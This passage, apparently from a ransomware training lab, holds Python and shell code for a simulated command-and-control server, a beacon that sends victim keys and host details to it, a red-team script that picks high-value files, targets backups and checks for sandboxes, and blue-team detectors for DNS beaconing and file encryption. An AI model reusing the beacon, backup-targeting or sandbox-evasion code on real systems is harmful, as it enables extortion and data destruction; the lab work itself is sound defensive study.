            print(f"[C2] Total victims registered: {len(received_keys)}")
            
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps({'status': 'ok'}).encode())
        
        else:
            self.send_response(404)
            self.end_headers()

    def do_GET(self):
        if self.path == '/victims':
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps(received_keys, indent=2).encode())


if __name__ == '__main__':
    server = HTTPServer(('127.0.0.1', 8888), C2Handler)
    print("[C2] Simulated C2 server listening on 127.0.0.1:8888")
    print("[C2] Endpoints:")
    print("      POST /register  — receive victim key registration")
    print("      GET  /victims   — list all registered victims")
    server.serve_forever()

import urllib.request, json, base64, hashlib, platform, time

C2_URL    = 'http://127.0.0.1:8888'   # loopback only — not real network
TIMEOUT   = 5

def generate_victim_id() -> str:
    fp = platform.node() + platform.machine() + str(time.time())
    return hashlib.sha256(fp.encode()).hexdigest()[:16].upper()


def register_with_c2(encrypted_key: bytes, victim_id: str) -> bool:
    """
    Send the RSA-wrapped AES key to the C2 server.
    Without this, the attacker cannot decrypt the victim's files even if they want to.
    """
    payload = json.dumps({
        'victim_id'    : victim_id,
        'encrypted_key': base64.b64encode(encrypted_key).decode(),
        'os'           : platform.system(),
        'hostname'     : platform.node(),
        'timestamp'    : time.time(),
    }).encode()
    
    req = urllib.request.Request(
        url     = C2_URL + '/register',
        data    = payload,
        method  = 'POST',
        headers = {
            'Content-Type'  : 'application/json',
            'Content-Length': str(len(payload)),
            'User-Agent'    : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        }
    )
    
    try:
        resp = urllib.request.urlopen(req, timeout=TIMEOUT)
        result = json.loads(resp.read())
        return result.get('status') == 'ok'
    except Exception as e:
        print(f"[!] C2 registration failed: {e}")
        # Real ransomware often stores the key locally as fallback
        return False


def heartbeat_loop(victim_id: str, interval: int = 30):
    """Send periodic alive signals to C2."""
    print(f"[*] Starting heartbeat loop (every {interval}s)")
    while True:
        try:
            payload = json.dumps({
                'victim_id': victim_id,
                'alive'    : True,
                'ts'       : time.time(),
            }).encode()
            req = urllib.request.Request(
                C2_URL + '/register', data=payload, method='POST',
                headers={'Content-Type':'application/json'}
            )
            urllib.request.urlopen(req, timeout=3)
        except: pass
        time.sleep(interval)

# tcpdump and wireshark are already on Kali — verify:
which tcpdump && tcpdump --version | head -1

# ── Open a tmux session with two panes (Ctrl+B then %) ─────────────
# LEFT PANE: Start capture on loopback before running any C2 code
sudo tcpdump -i lo -w ~/lab/forensics/c2_capture.pcap port 8888
# (this blocks — leave it running, switch to right pane)

# RIGHT PANE: Run C2 server then beacon
cd ~/lab/attacker/module_10
python3 c2_server_sim.py &
sleep 1
python3 -c "
import sys; sys.path.insert(0, '.')
from c2_beacon import register_with_c2, generate_victim_id
import os
enc_key = os.urandom(512)
vid = generate_victim_id()
success = register_with_c2(enc_key, vid)
print('Registered:', success)
"

# Back in LEFT PANE: press Ctrl+C to stop the capture

# ── Analyse the capture ─────────────────────────────────────────────
# Show HTTP traffic content (human-readable)
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | grep -A5 "POST /register"

# Count packets by size
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -q 2>/dev/null | \
  awk '{print $NF}' | sort -n | uniq -c | tail -20

# Extract victim_id from captured traffic
sudo tcpdump -r ~/lab/forensics/c2_capture.pcap -A 2>/dev/null | \
  grep -o '"victim_id":"[^"]*"'

# Open capture in Wireshark GUI (Kali includes Wireshark)
wireshark ~/lab/forensics/c2_capture.pcap &

import statistics, time
from collections import defaultdict

"""
DNS beaconing signature:
  - Same domain queried at suspiciously regular intervals
  - Subdomain varies (encodes data) but root domain is fixed
  - Query frequency doesn't match any browsing pattern

This analyser works on DNS log exports from your resolver.
Format expected: timestamp  client_ip  query_domain
"""

SAMPLE_DNS_LOG = """
1700000010  192.168.1.50  a3b4c5d6.beacon.darkcipher.cc
1700000070  192.168.1.50  f7e8a9b0.beacon.darkcipher.cc
1700000130  192.168.1.50  1c2d3e4f.beacon.darkcipher.cc
1700000190  192.168.1.50  5a6b7c8d.beacon.darkcipher.cc
1700000250  192.168.1.50  9e0f1a2b.beacon.darkcipher.cc
1700000010  192.168.1.90  www.google.com
1700000045  192.168.1.90  api.github.com
1700000300  192.168.1.90  updates.microsoft.com
"""

def detect_beaconing(dns_log: str, jitter_threshold: float = 5.0) -> list:
    """
    Flag clients that query the same root domain at very regular intervals.
    jitter_threshold: max allowed std dev in seconds between queries.
    """
    events = defaultdict(list)   # (client, root_domain) → [timestamps]
    
    for line in dns_log.strip().split('\n'):
        parts = line.strip().split()
        if len(parts) < 3: continue
        ts, client, domain = float(parts[0]), parts[1], parts[2]
        
        # Extract root domain (last two labels)
        labels = domain.split('.')
        root   = '.'.join(labels[-3:]) if len(labels) > 2 else domain
        events[(client, root)].append(ts)
    
    alerts = []
    for (client, root), timestamps in events.items():
        if len(timestamps) < 3: continue
        
        timestamps.sort()
        intervals = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)]
        mean_interval = statistics.mean(intervals)
        jitter        = statistics.stdev(intervals) if len(intervals) > 1 else 0
        
        if jitter < jitter_threshold:
            alerts.append({
                'client'       : client,
                'root_domain'  : root,
                'query_count'  : len(timestamps),
                'mean_interval': round(mean_interval, 1),
                'jitter_stdev' : round(jitter, 2),
                'verdict'      : 'BEACON DETECTED',
            })
    
    return alerts


alerts = detect_beaconing(SAMPLE_DNS_LOG)
for a in alerts:
    print(f"\n{'='*50}")
    for k, v in a.items():
        print(f"  {k:20s}: {v}")

import os, subprocess, time
from pathlib import Path
from key_manager import attacker_generate_keypair

def red_team_prep():
    print("[RED] === Pre-Attack Preparation Phase ===")
    
    # Step 1: Generate RSA keypair (attacker's server would do this)
    print("[RED] Generating C2 RSA key pair...")
    attacker_generate_keypair(str(Path.home() / 'lab/keys'))
    
    # Step 2: Verify victim directory has files to target
    targets = list(Path.home().joinpath('lab/victims').rglob('*'))
    files   = [f for f in targets if f.is_file()]
    print(f"[RED] Target reconnaissance: {len(files)} files found in ~/lab/victims/")
    
    # Step 3: Identify high-value targets (simulate priority targeting)
    high_value = [f for f in files if any(kw in f.name.lower()
                  for kw in ['salary','contract','budget','report'])]
    print(f"[RED] High-value targets identified: {[f.name for f in high_value]}")
    
    # Step 4: Check for backups (real ransomware checks for backup software)
    backup_indicators = [str(Path.home() / 'lab/backups'), str(Path.home() / 'lab/snapshots')]
    for p in backup_indicators:
        exists = Path(p).exists()
        print(f"[RED] Backup directory {p}: {'FOUND — must target' if exists else 'not found'}")
    
    # Step 5: Simulate environment check (sandbox evasion)
    cpu_count = os.cpu_count()
    print(f"[RED] CPU count: {cpu_count} — {'PROCEEDING' if cpu_count > 1 else 'SANDBOX DETECTED — aborting'}")
    
    print("\n[RED] Preparation complete. Ready to execute.")
    print("[RED] Waiting 5 seconds before execution (simulating attacker timing)...")
    time.sleep(5)

red_team_prep()

import hashlib, time, os, threading, json
from pathlib import Path

# ── Configuration ────────────────────────────────────────────────────
WATCH_DIR   = str(Path.home() / 'lab/victims')
LOG_DIR     = str(Path.home() / 'lab/forensics')
ALERT_LOG   = Path(LOG_DIR) / 'blue_team_alerts.json'
CHECK_INTERVAL   = 0.5    # seconds between polls
ENTROPY_THRESHOLD = 7.2   # bits/byte
SUSPICIOUS_NAMES  = ['readme', 'how_to', 'decrypt', 'ransom', 'locked']

alerts = []

def file_entropy(path: Path) -> float:
    import math
    data = path.read_bytes()
    if not data: return 0
    freq = [data.count(bytes([b])) / len(data) for b in range(256)]
    return -sum(p * math.log2(p) for p in freq if p > 0)

def alert(severity: str, message: str, details: dict = None):
    timestamp = time.time()
    entry = {'severity': severity, 'message': message,
             'timestamp': timestamp, 'details': details or {}}
    alerts.append(entry)
    ALERT_LOG.write_text(json.dumps(alerts, indent=2))
    indicator = '🔴' if severity == 'CRITICAL' else ('🟡' if severity == 'HIGH' else '🟢')
    print(f"[{indicator} ALERT] {severity}: {message}")

def snapshot_directory(watch_dir: str) -> dict:
    """Take a snapshot of all files: path → (mtime, size)"""
    snap = {}
    for f in Path(watch_dir).rglob('*'):
        if f.is_file():
            snap[str(f)] = (f.stat().st_mtime, f.stat().st_size)
    return snap

def monitor_loop():
    print("[BLUE] Starting file system monitor...")
    prev_snap     = snapshot_directory(WATCH_DIR)
    encrypted_ct  = 0
    start_time    = time.time()
    
    while True:
        time.sleep(CHECK_INTERVAL)
        curr_snap = snapshot_directory(WATCH_DIR)
        elapsed   = time.time() - start_time
        
        # Detect new or modified files
        for path_str, (mtime, size) in curr_snap.items():
            path = Path(path_str)
            
            # New file appeared
            if path_str not in prev_snap:
                # Check for suspicious name patterns
                if any(s in path.name.lower() for s in SUSPICIOUS_NAMES):
                    alert('CRITICAL', f"Suspicious file created: {path.name}",
                          {'path': path_str, 'size': size})
                
                # Check extension
                if path.suffix in {'.locked', '.enc', '.crypt', '.darkenc'}:
                    encrypted_ct += 1
                    if encrypted_ct == 1:
                        alert('HIGH', f"First encrypted file detected at T+{elapsed:.1f}s",
                              {'file': path.name})
                    if encrypted_ct == 5:
                        alert('CRITICAL', f"5 files encrypted — ransomware confirmed at T+{elapsed:.1f}s",
                              {'count': encrypted_ct})
                
                # Entropy check on new files
                try:
                    ent = file_entropy(path)
                    if ent > ENTROPY_THRESHOLD:
                        alert('HIGH', f"High-entropy new file: {path.name} ({ent:.2f} bits/byte)",
                              {'entropy': round(ent,2)})
                except: pass
        
        # Detect deleted files (originals removed after encryption)
        deleted = set(prev_snap) - set(curr_snap)
        if len(deleted) >= 3:
            alert('CRITICAL', f"Mass file deletion detected: {len(deleted)} files removed",
                  {'deleted': list(deleted)[:5]})
        
        prev_snap = curr_snap

if __name__ == '__main__':
    Path(LOG_DIR).mkdir(exist_ok=True)
    monitor_thread = threading.Thread(target=monitor_loop, daemon=True)
    monitor_thread.start()
    
    print("[BLUE] Monitor active. Press Ctrl+C to stop and review alerts.")
    try:
        while True: time.sleep(1)
    except KeyboardInterrupt:
        print(f"\n[BLUE] Monitoring stopped. Total alerts: {len(alerts)}")
        print(f"[BLUE] Alert log: {ALERT_LOG}")